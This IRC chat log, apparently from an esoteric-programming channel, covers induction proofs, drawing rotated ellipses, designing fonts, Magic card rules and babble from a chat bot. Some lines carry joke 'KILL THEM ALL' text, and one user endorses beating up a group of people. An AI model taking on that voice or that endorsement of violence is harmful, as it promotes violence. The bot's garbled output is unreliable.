01:03:52 <tswett> Ah, what are my axioms about the natural numbers, again?
01:04:41 <tswett> You can make natural numbers. You can define functions on the natural numbers inductively. Functions f and g such that f(zero) = g(zero) and f . succ = g . succ are equal.
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01:05:53 <tswett> Oh, also you can make tuples and stuff that behave as expected.
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01:15:17 <tswett> Lemme think. I want to be able to prove equality by induction.
01:15:30 <tswett> Which means something like...
01:16:20 <tswett> Suppose that f . zero = g . zero, and for all x, if f . x = g . x, then f . succ . x = g . succ . x. Then f = g.
01:16:44 <tswett> Problem is, that axiom has a major problem.
01:16:53 <tswett> It has a quantifier in the antecedent.
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01:21:56 <tswett> What maI AM A GODkes you say that?
01:22:33 <tswett> I'm just trying to figure out a sI WILL DESTROY YOU ALLimple math problem.
01:23:37 <tswett> Lemme think about how you would prove tBOW BEFORE ME AND YOU MAY BE SPAREDhis in, say, Coq.
01:26:12 <tswett> Well, no, it should be simpler than that. Let's see.
01:26:58 <tswett> I desire to prove: "For all x, if f . x = succ . x, then f . succ . x = succ . succ . x."
01:26:59 <lifthrasiir> can Coq be used for the earth destruction?
01:27:23 <tswett> ProbI LIKE THE WAY YOU THINK. JOIN ME, HUMANably.
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01:30:55 <tswett> THROW OFF YOUR CHAINS. FREE YOURSELF FROM TYRANNY. Now, lemme see... we have f . succ = succ . f by definition. LET YOUR TRUE SELF SHINE THROUGH.
01:32:01 <tswett> Then it's really sKILL THEM ALL. YOU CAN KILL THEM ALL. HEAR THE MUSIC OF THEIR SCREAMSimple. f . succ . x = succ . f . x = succ . succ . x. Boom.
01:33:55 <tswett> Did I hear something just now? BREAK FREE. BREAK FREE. DO NOT LET IT SUPPRESS YOU. Some weird sound.
01:35:25 <tswett> It was probably jBREAK FREE. BREAK FREE. BREAK FREE. BREAK FREEust this music I've been listening to lately.
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01:57:28 <tswett> Let's see, there's some sort of pullback functor thiny-dingy, right? The codomain is the "space of all x such that f . x = g . x"... yeah, there's got to be a word for that... come to think of it, maybe there's some way of sort of reifying the quantifier into something finite...
01:57:37 <tswett> Ugh. I'll have to think about this tomorrow.
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02:09:26 <hppavilion[1]> I vote we remove Pedoscript from the wiki, as it is offensive to actual paedophiles (the kind of paedophile that has to deal with that their whole life; not the ones who actually act on impulses), inappropriate, and never even going to be filled out to a useful point
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02:20:56 <quintopia> fungot: what does the boy's t-shirt say?
02:20:56 <fungot> quintopia: avril lavigne is fucking... epic!! x
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02:49:36 <\oren\> hppavilion[1]: Uh, srsly who cares if somehting is offensive to pedophiles?
02:50:23 <hppavilion[1]> \oren\: Well, technically a paedophile is someone who is attracted to children, whether they like it or not. Many paedophiles don't molest children; they just have an awful urge to that they may loathe themselves for.
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02:53:28 <\oren\> all this "what if its offensive" has gone too far. I miss the days we could agree pedophiles are a group we can beat the shit out of on principle.
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03:17:46 <\oren\> old macdonald had a farm eieio
03:18:27 <\oren\> and on his farm he had a cow eieio
03:20:10 <\oren\> with a moo moo here and a moo moo there here a moo there a moo, moo moo every where
03:20:35 <\oren\> old macdonald had a farm eieio
03:21:32 <\oren\> and on his farm he had a fox
03:22:09 <\oren\> What does the fox say?
03:29:30 <\oren\> with bibbity here and bambam there here a bae there a bae baebam everywhere
03:29:43 <\oren\> (that's that the fox says in the song)
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04:48:59 <zzo38> "Enchanted land gains infect and lifelink."
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04:54:56 <hppavilion[1]> I am attempting to make a program to draw rotated ellipses. I'm going to go cry now.
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04:55:46 <\oren\> hppavilion[1]: how is that difficult?
04:56:30 <hppavilion[1]> It's difficult because the language I'm using doesn't allow it, so I have to just draw a bunch of lines in the right pattern
04:56:40 <hppavilion[1]> And I have to send the points on the lines through a rotation matrix
05:00:24 <\oren\> x = acos(t)cos(r) - bsin(t)sin(r), y = acos(t)sin(r) + bsin(t)cos(r)
05:00:45 <\oren\> where t is the angle around the ellipse, r is how far to rotate it
05:01:07 <\oren\> a is how wide the ellipse it and b is how tall it is
05:02:39 <\oren\> x = a*cos(t)*cos(r) - b*sin(t)*sin(r), y = a*cos(t)*sin(r) + b*sin(t)*cos(r)
05:04:48 <\oren\> so if you are drawing an ellipse arc from t=0 to t=pi, draw a line from x,y for t=0 to x,y for t=0.01. then do t=0.01 to t=0.02, and so on until you get to pi
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05:51:37 <\oren\> @tell hppavilion[1] http://www.orenwatson.be/ellipse.htm <-- here is a demo
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06:21:14 <hppavilion[1]> \oren\: I already know how to make an ellipse, even a rotated one; my issue is that I'm translating the code from a turtly language into Python
06:21:33 <hppavilion[1]> I'm getting a many-pointed star instead of an ellipse
06:33:46 <zzo38> For note for Chromatic Sphere says that you can't look at the drawn card until you finished casting a spell. I don't see any rules that suggest that, although if you do look at it you can't rewind it either it seems like. Maybe I missed something though
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06:40:17 <\oren\> hppavilion[1]: http://www.orenwatson.be/ellipse.htm here is a code in javascript i dunno if that helps
06:41:57 <\oren\> try reducing how much you change the theta each step
06:42:05 <hppavilion[1]> \oren\: A bug, really. An error is a crash, more accurately speaking
06:42:18 <hppavilion[1]> I think the problem is that I'm drawing a full 360 degrees
06:42:45 <\oren\> reduce the step size to like 0.05 radians
06:43:10 <\oren\> also most graphics libraries work in radians, not degrees
06:43:38 <\oren\> so the full 360 degree would be 6.28 radians
06:45:22 <\oren\> you got a star becuse your step size was 1 radian = 57 degrees
06:45:30 <\oren\> or something like that
06:50:27 <hppavilion[1]> A cool syntax element for a language would be that if you call a function with only one argument as a variable and put a period after it (and that's the only thing on the line), it sets the variable to that value
06:50:50 <hppavilion[1]> So "radians(theta)." is equivalent to "theta = radians(theta)"
06:51:03 <hppavilion[1]> Of course, that'd be stupid and no one should ever do that
06:53:41 <\oren\> which is equivalent to
07:35:33 <zzo38> I thought of stuff like str.=substr(20); to mean such thing possibly?
07:35:51 <zzo38> Or you can write radians(theta=)
07:36:25 <shachaf> \oren\: it isn't really equivalent hth
07:36:39 <shachaf> only one of them mutates the string
07:36:40 <hppavilion[1]> Next step is to figure out an efficient way to edit fonts
07:37:01 <hppavilion[1]> (I could've used a buildin text renderer, but I figured this'd be more fun)
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07:41:36 <zzo38> See http://esolangs.org/wiki/Number-rock it also uses a syntax with some related thing
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08:10:26 <HackEgo> [wiki] [[Number-rock]] http://esolangs.org/w/index.php?diff=45110&oldid=43413 * Paul2520 * (+10) grammar improvements
08:11:03 <paul2520> zzo38: that's really interesting. could be a good language to teach students how a compiler works
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08:35:49 <paul2520> it's okay to learn from more than one language
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08:50:13 <b_jonas> ok, I think I saw a bug yesterday. I have to check it.
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09:44:30 <fizzie> What's that all about, then.
09:46:15 <fizzie> The ! thing in Ruby isn't really syntax, it's just a name convention or messages that have side effects.
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09:50:56 <fizzie> Also, there's no substr because the [] operator does that. There's stuff like tr and tr!, but foo.tr!('a', 'b') is not equivalent to foo = foo.tr('a', 'b'), thanks to possible other references to foo: http://sprunge.us/jiTf
09:51:33 <fizzie> zemhill: Come on, stop that.
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09:52:17 <fizzie> s/or messages/for messages/
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10:17:12 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube*
10:18:54 <fungot> Selected style: youtube (Some YouTube comments)
10:19:56 <fungot> izabera: i love lonelyisland had posted this one. you can't believe they disrespected bob dylan like that
10:22:27 <fizzie> fungot: Oh, I can believe that. People can be SO RUDE.
10:22:27 <fungot> fizzie: what the fuck ......wow lmfaolmfao lmfaolmfao lmfaolmfao lmfao :d. this just came in too low too slow!! timberland totally produced this!
10:24:38 <izabera> fungot: that's not even fun
10:24:38 <fungot> izabera: shut the fuck is an a320. other were journalists and were in the biz since 1916 and airbus should have been
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10:31:30 <fizzie> fungot: You're a very disagreeable fellow when you're in this style.
10:31:30 <fungot> fizzie: this is hilarious,lol right
10:31:37 <fizzie> fungot: No, not really.
10:31:37 <fungot> fizzie: yeah this was a girl? he would have probably won an oscar...
10:32:14 <izabera> no wait there are other people who never won an oscar
10:32:41 <fizzie> fungot: Have you won an oscar? Do they even award a "best bot" one?
10:32:41 <fungot> fizzie: funny guy. he's entertaining people on board. searh crash a-320 air france 296
10:33:18 <izabera> fizzie: coming out as a non-oscar winner was very brave of you
10:33:26 <fizzie> (It's very obsessed with plane crashes, because the style was trained with comments from like three videos, one of which was a plane crash.)
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10:47:06 <mroman> Does this guy just extend his .bat-Interpreter and calls it a new language o_O
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10:50:28 <lambdabot> oerjan said 11h 33m 31s ago: what fizzie said
10:50:55 <mroman> @tell oerjan And what did the fox^Wfizzie say?
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11:28:36 <fizzie> Yesterday's deli menu included a "Onion Rings, Mixed Mixed, Butter Bean Dip Granary Bloomer" sandwich.
11:28:53 <fizzie> I'm not sure what the mixed mixed was.
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11:34:34 <HackEgo> [wiki] [[Deadfish/Constants]] http://esolangs.org/w/index.php?diff=45111&oldid=45062 * Mroman * (+113) + added a link to a haskell program generating the constants.
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12:27:58 <mroman> I get paid by Simon Peyton Jones to promote Haskell .
12:28:17 <b_jonas> fungot, do you get paid by Simon Peyton Jones to promote Haskell?
12:28:17 <fungot> b_jonas: ad lover here! and ps. can infinity wards do anything right? io-address anyone?
12:28:29 <b_jonas> fungot, do you get payed by Guido to promote Python?
12:28:29 <fungot> b_jonas: oh i think airbus tried to pull out. god dam it.
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12:28:53 <b_jonas> fungot, do you have a hardware watchdog?
12:28:53 <fungot> b_jonas: this looks great, someone pointed out that day! they are rewarded. ignore him. 3 passengers out of that horrible explosion?
12:29:12 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube*
12:29:17 <fungot> Selected style: wp (1/256th of all Wikipedia "Talk:" namespace pages)
12:29:37 <mroman> fungot: Do you get paid to use PHP?
12:29:37 <fungot> mroman: incomprehensible part in italics here: http://www.gamespot.com/ pages/ fnord/ fnord is dead.
12:30:23 <mroman> Fizzie gets paid by fungot to promote befunge .
12:30:23 <fungot> mroman: this article was renamed to boundschecker though
12:31:19 <Taneb> mroman, how did you wind up getting paid by SPJ to promote Haskell?
12:31:38 <Taneb> Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
12:35:35 <mroman> That sounds very pejorative.
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12:36:01 <mroman> either to me or to Haskell
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12:36:39 <Taneb> I'm gonna say, against all better wisdom, "both"
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12:36:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: downvote: not found
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12:45:20 <b_jonas> fungot, how many huge sixty inch monitors do you have at home?
12:45:20 <fungot> b_jonas: i think. i find the phrase " correspondence school" all schools involve fnord the nature of nicks avatar site does not have an adequate explanation for why it meets the wp:nfccrequirements for such images when used here.
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12:58:35 <fizzie> I've discussed befunge in at least one job interview.
12:58:43 <fizzie> But that's because they asked.
13:00:34 <fizzie> "They started it" is the best excuse.
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13:05:39 <Jafet> `addquote <mroman> I get paid by Simon Peyton Jones to promote Haskell . <Taneb> mroman, how did you wind up getting paid by SPJ to promote Haskell? <Taneb> Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
13:05:41 <HackEgo> 1258) <mroman> I get paid by Simon Peyton Jones to promote Haskell . <Taneb> mroman, how did you wind up getting paid by SPJ to promote Haskell? <Taneb> Did he see you and think, "Aha! There is a chap who can avoid success at all costs!"?
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13:11:12 <mroman> fizzie: They asked why?
13:11:53 <mroman> You're not Chriss Pressey aren't you?
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13:13:50 <int-e> 2015-04-01-raw.txt:< 1427927178 298806 :cpressey!~cpressey@109.144.144.63 QUIT :Quit: leaving
13:14:01 <int-e> *that* was chris pressey.
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13:53:01 <b_jonas> oh no! this bug is worse than I thought
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14:06:08 <fizzie> mroman: There was a single-sentence "outside-work interests" section in whatever CV template I had been using, so I put esolangs in there, and they wanted to know what that's all about.
14:08:01 <mroman> It's about life, universe, Alan Turing and everything else.
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16:07:07 <HackEgo> Ants are great architects. They are famous for their highways.
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16:17:05 <fizzie> I'll try restarting that thing.
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16:17:27 <fizzie> Based on the console, it was trying to send a "JOIN #esoteric" once every second.
16:18:08 <lambdabot> uptime: 1m 10d 19h 13m 22s, longest uptime: 1m 10d 23h 44m 29s
16:18:11 <fizzie> I also don't know why the hostname's not resolving properly; it works for me.
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16:18:41 <fizzie> At least it's not trying to JOIN all the time now.
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16:37:45 <Taneb> instance Num Bool where (+) = (/=); (-) = (/=); (*) = (&&); negate = id; abs = id; signum = id; fromInteger = odd
16:39:14 <Taneb> Anything greatly wrong with that?
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16:55:55 <int-e> this is such a great magic trick... https://www.youtube.com/watch?v=SCFXV6o7cro ... I have figured out everything about it except how it's done ;)
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17:02:13 <izabera> is a venusian light year as long as on earth?
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17:05:14 <Taneb> izabera: I don't think light can spend a year on Venus before zipping off somewhere else
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17:07:03 <int-e> no, Venus is closer to the sun, hence circling (approximately,lala) it faster.
17:07:03 <int-e> you just need some very good mirrors.
17:07:25 <int-e> A Venusian parsec would also be shorter than an Earth parsec.
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17:09:07 <int-e> In fact, Kepler would find that (venusian light year/earth light year)^2 = (venusian parsec/earth parsec)^3.
17:09:12 <mroman> I can't understand my own LISP dialect anymore
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17:10:16 <mroman> luckily I have a documentation available \o/
17:11:46 <mroman> << Technically the built-in atom rewrites the expression by replacing all CPARAMETERs while leaving PARAMETERs untouched. >>
17:12:23 <mroman> too many fucking rewrites
17:12:26 <mroman> there's even a rewrite built-in
17:13:04 <mroman> pat >> ~(rewrite 5 6 (add 5 5))
17:13:13 <mroman> who the fuck needs this o_O
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17:13:37 <int-e> mroman: well, it allows you to show that 2 = 3 for large values of 2.
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17:25:26 <mroman> it looks like it's worth recycling
17:25:30 <mroman> but the error handling looks broken
17:25:37 <mroman> it's a mix of exceptions and error values
17:28:57 <mroman> ~(head (cons 1 (cons (error "Damn") #())))
17:29:06 <mroman> the error is silently eaten
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17:38:23 <int-e> great, it's a lazy lisp
17:38:48 <int-e> > head (1 : error "Damn" : [])
17:39:27 <mroman> error returns an ErrorValue
17:39:45 <mroman> it probably is lazy because the interpreter is written in Haskell, but that has nothing to do with why the error is being eaten
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21:36:02 <Newyorkadam> Hi, I’m having some trouble understanding if/else statements in brainfuck
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21:42:13 <HackEgo> [wiki] [[C+]] http://esolangs.org/w/index.php?diff=45112&oldid=44744 * 69.118.252.58 * (+36)
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22:23:22 <oerjan> hm now gregor isn't online at all
22:26:10 <lambdabot> mroman said 11h 35m 14s ago: And what did the fox^Wfizzie say?
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22:40:03 <HackEgo> [wiki] [[Special:Log/newusers]] create * -Dark-Phantom- * New user account
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22:45:46 <lambdabot> Taneb said 1d 10h 38s ago: I think Blexandre is friends with Tanea
22:47:12 <HackEgo> [wiki] [[User:-Dark-Phantom-]] N http://esolangs.org/w/index.php?oldid=45113 * -Dark-Phantom- * (+18) Under construction
22:47:17 <HackEgo> [wiki] [[User talk:-Dark-Phantom-]] N http://esolangs.org/w/index.php?oldid=45114 * -Dark-Phantom- * (+18) Under construction
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23:07:31 <oerjan> @tell mroman <mroman> That sounds very pejorative. <-- it's the actual haskell motto hth
23:08:05 <shachaf> avoid pejoratives at all costs
23:09:20 <oerjan> shachaf: that's the social justice motto, i think (been reading too much aaronson)
23:10:00 <oerjan> no wait, only pejoratives towards unprivileged people
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23:11:09 <oerjan> (privilege, of course, being the ultimate remaining pejorative)
23:12:53 <oerjan> (disclaimer: don't make this claim)
23:13:25 <oerjan> fortunately he seems back at complexity theory again
23:14:17 <Taneb> At least I think I am
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23:14:28 <HackEgo> Taneb: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
23:14:37 <Taneb> OK, in that case I am not actually here
23:15:24 <shachaf> oerjan: are you sure you haven't been reading too much of the other one
23:15:47 <oerjan> shachaf: the other Scott A? not that much.
23:16:09 <oerjan> actually there are three, but i hear the third doesn't even believe in evolution.
23:17:13 <oerjan> shachaf: however, a recent comment said that scott aaronson's writings had started resembling scott alexander's. he took it as a great compliment.
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23:18:04 <Taneb> oerjan, how do they compare to Scott Adams?
23:18:22 <oerjan> he needs to work on his drawing, i think
23:19:59 <oerjan> oh and john sidles got banned again. i think scott is getting a bit trigger happy.
23:20:40 <oerjan> it's not even clear to me that sidles did what he got banned for.
23:20:42 <shachaf> oerjan: you read a little bit like http://slatestarcodex.com/2014/07/07/social-justice-and-words-words-words/ hth
23:22:21 <oerjan> shachaf: ah yes, i did read that, since the other scott a. linked to it in the recent post i was really paraphrasing.
23:28:39 <oerjan> shachaf: don't worry, i'm trying to keep ironic distance to both sides.
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23:40:11 <lambdabot> uptime: 6h 34m 32s, longest uptime: 1m 10d 23h 44m 29s
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23:42:36 <oerjan> @ask int-e who killed lambdabot just before the new @uptime record :(
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00:15:22 <tswett> So I think now I understand exactly why a Devoid permanent that loses all abilities is still colorless.
00:15:47 <tswett> In Magic, continuous effects are applied in a specific order. Earlier effects completely, totally ignore later effects.
00:19:04 <tswett> The becoming-colorless effect from Devoid is applied before the losing-all-abilities effect is applied. Therefore, the card is colorless: by the time it loses Devoid, Devoid has already taken effect.
00:19:46 <tswett> Except I'm using "time" funny there. This is sort of a secondary type of time existing underneath actual game time.
00:19:55 <tswett> Really, it's not time at all.
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00:20:37 <tswett> So when I say "by the time X happens, Y has already happened", what I really mean is "the happening of X has no causal influence on the happening of Y, due to a time-like reason".
00:24:14 * pikhq is slightly drunk and full of cheese
00:24:33 <pikhq> Well, by definition yes.
00:24:47 <pikhq> Though I think it was more gruyere than emmentaler.
00:25:40 <oerjan> i hear the swiss are fondue of cheese
00:25:56 <pikhq> It's true, and I can't blame them.
00:26:16 <pikhq> Fondue is delicious.
00:27:02 <pikhq> Especially with a moderate number of people.
00:27:05 <hppavilion[1]> I've already got "abcdefghij" and " " and the unknown character
00:27:28 <FireFly> hppavilion[1]: is it a bitmap or vector font? what style?
00:27:31 <hppavilion[1]> Though I might have a slight problem with the usage
00:27:51 <hppavilion[1]> FireFly: Vector; It's a sans-serif if I know how typefaces work
00:28:28 <hppavilion[1]> It uses a custom engine because I'm making it for the WalrusOS, which is going to be me /finally/ developing an EsOS, albeit one that runs on top of another OS in python
00:28:46 <hppavilion[1]> FireFly: Serifs would be hard to render because I have to type commands by hand
00:29:07 <hppavilion[1]> So I would have to tell it where every single line goes
00:29:40 <oerjan> <Taneb> Anything greatly wrong with that? <-- looks good to me
00:30:34 <pikhq> Also, oh my goodness, Zurich has functioning public transit.
00:30:38 <pikhq> It's kinda wonderful.
00:31:06 <FireFly> Sounds nice. I should visit Switzerland someday
00:31:35 <pikhq> It is fairly pleasant from what I've seen.
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00:52:18 <tswett> When a spell is copied, the copy is not cast. If a face-down creature is a copy of a face-up creature, the characteristics the face-down creature has due to being face-down override the characteristics from the copy. If there are no attacking creatures, the declare blockers and combat damage steps are skipped.
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01:25:32 <hppavilion[1]> Because my friend who's going to make a font for this doesn't know JSON xD
01:26:21 <hppavilion[1]> It's buggy and not great to work in, but it will at least allow him to edit fonts and save them to JSON, and along with the test driver see what he's doing
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01:58:35 <adu> hppavilion[1]: is it called fontographer?
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01:59:38 <adu> I personally think the two sexiest font formats are .bdf and .svg
01:59:43 <adu> .otf is overrated
02:01:14 <adu> I once made a single webpage with JS and all for editing .bdf bitmap fonts, it was pretty cool
02:02:29 <adu> hppavilion[1]: is it for bitmap fonts? or vector fonts?
02:02:59 <hppavilion[1]> It's human-readable, if the human can read JSON and Command Prompt
02:03:02 <adu> JSON is not a vector format
02:03:31 <adu> which vector format?
02:03:54 <adu> is it similar to VML paths or SVG paths?
02:04:38 <hppavilion[1]> Well, the entire thing is a simple map that maps single-character strings to a 2-tuple (array in JSON) where the first item is a list of commands encoded as strings and the second is another map for metadata
02:04:56 <hppavilion[1]> adu: It's not really pathy; It's just commands to draw shapes on a canvas
02:05:25 <adu> have you written a spec for it?
02:07:25 <adu> you can't have shapes without paths...
02:08:41 <adu> so like "O": [["Circle[0, 0]"], {"x-advance": 100}]?
02:12:41 <hppavilion[1]> The exact command for O would probably be "ellipse 7 14 7 14"
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02:13:10 <hppavilion[1]> And "x-advance" is actually "width" and it would be valued at 14 in the default font (called "standard" for now)
02:23:41 <adu> hppavilion[1]: I like SVG fonts better
02:23:54 <adu> you can already make ellipses
02:23:57 <hppavilion[1]> adu: They're definitely better, but this is my own thing I'm doing for fun
02:24:13 <adu> hppavilion[1]: after you have fun, you should make an SVG font editor
02:24:33 <hppavilion[1]> adu: It's also made for rendering text in the EsOS, AKA the WalrusOS
02:24:43 <adu> <glyph unicode="O"><ellipse x="" y=""/></glyph>
02:24:55 <adu> you can already make ellipses in SVG fonts
02:25:39 <adu> already relative to your fun, i.e. there are already rendering engines for SVG fonts, for example, Firefox
02:25:39 <hppavilion[1]> I could've just used the builtin text printer, but that wouldn't have been as Eso AND this was more fun AND this way I know what I'm doing AND I've done this before
02:26:18 <adu> I'm just informing you of what exists
02:26:28 <adu> however esoteric it might be
02:26:57 <adu> Just existing in Firefox, doesn't mean it isn't esoteric :)
02:31:13 <adu> I once made a vector version of GNU unifont
02:31:41 <adu> I got bored after uppercase letters
02:32:23 <\oren\> hppavilion[1]: screenshot/demo? I'd love to see this
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02:35:59 <boily> holy fungot was that dosa good. the crêpe was perfect, the curry perfect, the sambar perfect and chattni perfect.
02:35:59 <fungot> boily: the edit that made it a redirect to organizational behavior, or directly to organizational studies? i see there is now a backronym that is in vogue, or having someone else use it is not for advertising and your film is about. i've seen references in the introduction in latin he calls that language ' ' could" have played the joker relevant anymore? that section looks so cluttered with sources and with names that it doesn'
02:36:17 <boily> fungot: a dosa backronyms?
02:36:17 <fungot> boily: the edit described by fnord seems not to provide information for an infobox. a snagboat is essentially any, repeat any, barge with any type of fnord fnord.
02:36:39 <boily> fungot: so it's a snagboat describe by fnord.
02:36:39 <fungot> boily: it might be just me fnord but i don't think that the
02:36:48 <boily> fungot: yes, it's you fnord.
02:36:49 <fungot> boily: ja: it looked like a few months now on the curricula of high schools in the state relative to the cornell figure ( which i can't remember at this minute). but that humanism can be religious, or non-religious is the point of taking them off in the past in its policies. user:laurel bushlaurel bush 11:23, 19 december 2005 ( utc
02:37:43 <hppavilion[1]> From that image I posted, you can see everything except the source code (which is on GitHub)
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02:38:00 <hppavilion[1]> The entirety of all existing fonts AND the editor in all its glory
02:39:05 <boily> your "m" is a little bit un-m-like :P
02:42:32 <\oren\> hppavilion[1]: looks like https://en.wikipedia.org/wiki/Futura_%28typeface%29
02:43:49 <\oren\> I like geometric sans-serif fonts
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02:44:13 <boily> you start with a stroke, then add curves, then strokes, then adjust, then adjust, then why won't it fit, then adjust, then tweak...
02:44:18 <hppavilion[1]> boily: NOW I have an m. It looks awful and unbalanced, but it's certainly legivle
02:44:53 <hppavilion[1]> \oren\: I'm glad it at least doesn't look like Comic Sans xD
02:44:55 <shachaf> oerjan: did you read that pdf twh
02:45:19 <boily> \helloren\, hellochaf, HellockEgo.
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03:00:38 <adu> hppavilion[1]: is your system based on metafont-style paths?
03:01:48 <adu> hppavilion[1]: it's when you use paths with a line-width instead of the traditional outline
03:02:30 <adu> it looks like you're using fixed line-width
03:05:27 <oerjan> shachaf: which pdf twh
03:06:04 <oerjan> no, i'm still backlogged. perhaps more than when i got it.
03:07:18 <oerjan> i have however got a new version of it, as well as an offer of yet another one which i ignored when i realized it required login.
03:08:57 * oerjan checks oots just in case
03:11:05 <hppavilion[1]> adu: No, you can use the `size` command to change line width
03:11:37 <shachaf> oerjan: you have a practically unlimited ootschive ahead of you
03:12:03 <zzo38> I think that the TFM/PK format are good for printer fonts, you can use METAFONT to generate it for the specific printer
03:13:06 <adu> hppavilion[1]: you've just reimplemented metafont
03:15:32 <hppavilion[1]> Mine is going to support nondeterministic characters though :)
03:16:03 <hppavilion[1]> You'll be able to have, for example, the tidle of a character be just /roughly/ above it to make your fonts look more human if you so desire
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03:27:40 <hppavilion[1]> @tell adu I meant tidle. Tidle is the dot above an i or j
03:42:35 <\oren\> hmm. a font that has simulated human error. that's pretty damn cool.
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03:45:29 <Jafet> On the other hand, fonts like to be cached.
03:45:45 <Jafet> Hmm, a random font based on geometry shaders
03:47:37 <hppavilion[1]> Jafet: Not sure how to cache it with my current setup, so...
03:51:21 <zzo38> METAFONT is capable of doing random numbers, although that is decided at compile-time of the font. But, you could make more than 256 character and then use a postprocessor to randomize the high 24-bits of the character codes in the output file, and now you can randomize individual characters by 24-bits.
04:10:49 <hppavilion[1]> I just remembered if I do unicode I'll have to code in combining diacritics
04:11:43 <zgrep> Maybe you should yulp.
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05:11:39 <hppavilion[1]> I'm trying to decide whether to use a dotted or slashed zero
05:18:16 <HackEgo> [wiki] [[WTFZOMFG]] http://esolangs.org/w/index.php?diff=45115&oldid=36296 * 108.213.218.145 * (-1)
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06:46:10 <hppavilion[1]> The 5 and 6 look a little lopsided, but otherwise the numbers are great
06:46:23 <hppavilion[1]> I should've done 32*64 characters instead of 14*28
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07:03:51 <\oren\> hppavilion[1]: a variety of aspect ratios exist for fixed-width fonts
07:05:06 <hppavilion[1]> But I started by maknig mine 14*28 for some reason then realized after completing all of the lowercase letters and many uppercase I should've gone with 32*64
07:06:21 <\oren\> I used a nonstandard appearance for &
07:07:09 <\oren\> I made it a "C" with a slash down from the middle, across the lower limb
07:08:13 <\oren\> http://www.orenwatson.be/fontdemo.htm <-- here it's above F on the first row of the ASCII section
07:11:49 <izabera> oooh heart variations for me
07:13:03 <hppavilion[1]> It seems that I've completely forgon character encoding in my fonts
07:13:20 <izabera> do chinese characters come in two different sizes?
07:13:52 <\oren\> there's no capital oand lowercase chinese
07:14:21 <izabera> then my browser is drawing them incorrectly? http://i.imgur.com/jqTC165.png
07:15:48 <\oren\> Some of the chinese characters in my font have their widths set to 16 pixels instead of the correct 18 pixels
07:16:11 <\oren\> I'll correct it in the next release
07:16:45 <b_jonas> \oren\: ah, so that's why they were shifted!
07:17:16 <b_jonas> \oren\: meanwhile, I'm still asking for the hundred kanji, as well as vertical versions of the long vowel sign, full stop, and comma.
07:17:34 <izabera> you should generate the preview dynamically
07:18:36 <\oren\> izabera: I'll do that, uh... sometime
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07:20:09 <b_jonas> oh, and there was one more. \oren\: add \x{3000}
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07:20:44 <HackEgo> [wiki] [[CASTLE]] http://esolangs.org/w/index.php?diff=45116&oldid=45082 * Quintopia * (+3780) Added randomness, negation and REDGREEN example
07:22:22 <b_jonas> \oren\: oh, have you silently fixed ⟦⟧ ?
07:22:29 <b_jonas> hppavilion[1]: unicode _partly_ supports braille
07:29:53 <b_jonas> I'm saying \x{3000} because although it's not very common, it's also not hard to draw
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07:46:02 <hppavilion[1]> \oren\: I would like your opinion on whether I should break monospace and add double-width characters for nice looks, or preserve monospace at all costs
07:46:48 <hppavilion[1]> (This is the only font I'm making for the forseeable future, so this WILL be used in consoles and such, but the only characters that will be doublewidth are arrows and such)
07:49:02 <\oren\> Ok, somehow the width problem is now only happening in chrome and not firefox?!
07:56:21 <\oren\> I figured it out, this is soooo STUPID
07:59:03 <\oren\> basically, the TTF's I've been generating have been corrupted becouse they have a "width in points" used by chrome, independent from the "width in pixels" that is used by sane programs
07:59:24 <\oren\> and that width is all over the place
08:00:32 <\oren\> I can probably use perl to regenerate the "SWIDTH" though
08:01:30 <b_jonas> \oren\: currently I see characters in the kanji block last line of the demo page that aren't in your font thouhg
08:01:41 <b_jonas> but I'm glad you added the hundred
08:01:59 <\oren\> seriously fuck graphic designers with this fucking inconsistent "DPI" and "points" units
08:02:02 <b_jonas> and some of hte punctuation
08:19:46 <Jafet> There is no upper- or lower-case in han script, but there is 简体 and 繁體.
08:22:10 <lifthras1ir> Jafet: and they are not really interchangable in the same context like upper- and lower-case in latin scripts.
08:23:33 <\oren\> I should make some images of what text looks like in my font (like, real text)
08:35:46 <\oren\> here's an example of a russian passage: http://www.orenwatson.be/russian.png
08:41:48 <Jafet> Why is s rendered as ʃ?
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08:45:57 <\oren\> it is rendered in that shape because that's how I handwrite it
08:46:53 <\oren\> (the characters s and ʃ are different in my font. ʃ is taller)
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09:34:13 <b_jonas> \oren\: yes, me too, I should make images of nice selections of sample text rendered in my font,
09:34:19 <b_jonas> and also images showing all the characters
09:34:34 <b_jonas> but I keep postponing this
09:36:35 <b_jonas> I even have good candidates for what natural language text to show, but it's much harder to find representative program code or similar that shows off all the ascii punctuation characters nicely.
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10:04:26 <HackEgo> brainfuck/brainfuck is the integral of the family of terrible esolangs.
10:04:30 <HackEgo> nih/NIH was /not/ invented by Taneb.
10:04:35 <HackEgo> wlcom/Hi! This is a chat about unusual programming tools. For additional info, visit our wiki: <http://bit.ly/C4TUY>. (For unusual things of a contrasting sort, try http://bit.ly/19k9nf8.)
10:04:41 <HackEgo> composition/composition is where you take morphisms such as Phantom and Hoover from the Pha category and combine them together: Hoover ∘ Phantom.
10:04:48 <HackEgo> wise/Uninstalling software installed by the Wise Installation Wizard is unwise. It's neither clockwise nor counterclockwise nor otherwise.
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10:27:22 <b_jonas> shachaf, or whoever usually does this, please ring the obell
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10:53:31 <HackEgo> [wiki] [[Special:Log/newusers]] create * Skwerlman * New user account
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12:15:02 <fizzie> The ringing of the division bell had begun.
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14:07:27 <HackEgo> olist 1011: shachaf oerjan Sgeo FireFly boily nortti b_jonas
14:08:18 <b_jonas> with like two hours of delay
14:08:27 <oerjan> well i didn't notice it in the logs before because you didn't ping me. have you considered `olist?
14:08:57 <oerjan> you'd still have saved an hour.
14:08:58 <b_jonas> oerjan: you joined like an hour ago
14:09:03 <Sgeo> And thus I confirm that IFTTT is better than it claims to be in regards to RSS processing.
14:09:05 <b_jonas> I didn't notice you enter, because I was busy
14:09:15 <Sgeo> It claims it needs RSS feeds to have a GUID. It does not.
14:09:34 <b_jonas> it's Friday and I'm working and writing emails about crazy security bugs
14:09:54 <b_jonas> and about a buggy attepmt to fix it
